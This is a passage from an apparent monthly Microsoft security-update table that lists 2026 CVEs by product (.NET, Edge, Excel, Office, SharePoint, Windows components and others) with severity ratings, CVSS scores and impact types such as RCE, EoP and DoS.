Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  